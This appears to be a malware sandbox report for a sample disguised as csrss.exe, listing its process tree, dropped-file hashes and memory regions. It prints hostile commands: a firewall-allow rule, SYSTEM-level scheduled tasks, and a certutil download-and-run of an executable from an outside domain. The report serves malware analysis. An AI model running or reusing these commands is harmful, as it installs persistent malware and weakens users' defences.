C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 7003⤵
- Program crash
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 3284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 3324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 3324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 7444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 7604⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 8764⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 8924⤵
- Program crash
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 8924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 9884⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 10164⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 9124⤵
- Program crash
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 9484⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 15044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 15204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 15924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 15444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 10124⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 14924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 15564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 14644⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 9804⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 16524⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4828 -ip 48281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4828 -ip 48281⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5092 -ip 50921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5092 -ip 50921⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5de8c59730bb0557ef92f004b1fe2eecf
SHA1334a2f8d11a7aa7309f31fe56555baf49ae7d1f9
SHA25623d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b
SHA51247dcacfd705a02b24d32993aecc01f08c699c0363029885865ad4ae482b5103c363c4c3c84f41d7749ebe3ccb2c505ac73e30542c7ac8ef0de0ac6834fc851ee
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5de8c59730bb0557ef92f004b1fe2eecf
SHA1334a2f8d11a7aa7309f31fe56555baf49ae7d1f9
SHA25623d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b
SHA51247dcacfd705a02b24d32993aecc01f08c699c0363029885865ad4ae482b5103c363c4c3c84f41d7749ebe3ccb2c505ac73e30542c7ac8ef0de0ac6834fc851ee
-
memory/812-151-0x0000000000000000-mapping.dmp
-
memory/1228-140-0x0000000000000000-mapping.dmp
-
memory/1500-149-0x0000000000000000-mapping.dmp
-
memory/2152-139-0x0000000000000000-mapping.dmp
-
memory/3156-144-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/3156-135-0x0000000000000000-mapping.dmp
-
memory/3156-137-0x0000000000FBA000-0x0000000001362000-memory.dmpFilesize
3.7MB
-
memory/3156-138-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/3916-148-0x0000000000000000-mapping.dmp
-
memory/4016-147-0x0000000000000000-mapping.dmp
-
memory/4828-132-0x0000000000FA5000-0x000000000134D000-memory.dmpFilesize
3.7MB
-
memory/4828-136-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/4828-134-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/4828-133-0x0000000001350000-0x0000000001B54000-memory.dmpFilesize
8.0MB
-
memory/5092-145-0x0000000001400000-0x00000000017A8000-memory.dmpFilesize
3.7MB
-
memory/5092-146-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB
-
memory/5092-141-0x0000000000000000-mapping.dmp
-
memory/5092-152-0x0000000000400000-0x0000000000C1E000-memory.dmpFilesize
8.1MB